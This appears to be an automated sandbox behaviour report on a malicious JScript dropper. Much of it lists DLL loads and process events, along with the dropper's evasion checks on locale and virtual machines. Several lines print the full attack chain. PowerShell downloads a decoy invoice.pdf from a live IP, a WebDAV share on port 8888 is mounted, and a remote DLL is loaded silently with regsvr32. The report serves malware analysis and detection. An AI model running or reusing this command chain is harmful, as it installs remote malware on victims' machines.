Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4329.js.csv");ITextStream.WriteLine(" entry:7988 f:tdcxrqwy");ITextStream.WriteLine(" exec:2 f:tdcxrqwy");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4607			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5247			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2056	Thread sleep count: 4607 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2056	Thread sleep count: 5247 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6568	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6024	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5700	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7340	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1795260469.000002177CA78000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000006.00000003.1789660628.000002177CADA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3023858949.000002326CC5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3022246826.000002326762B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
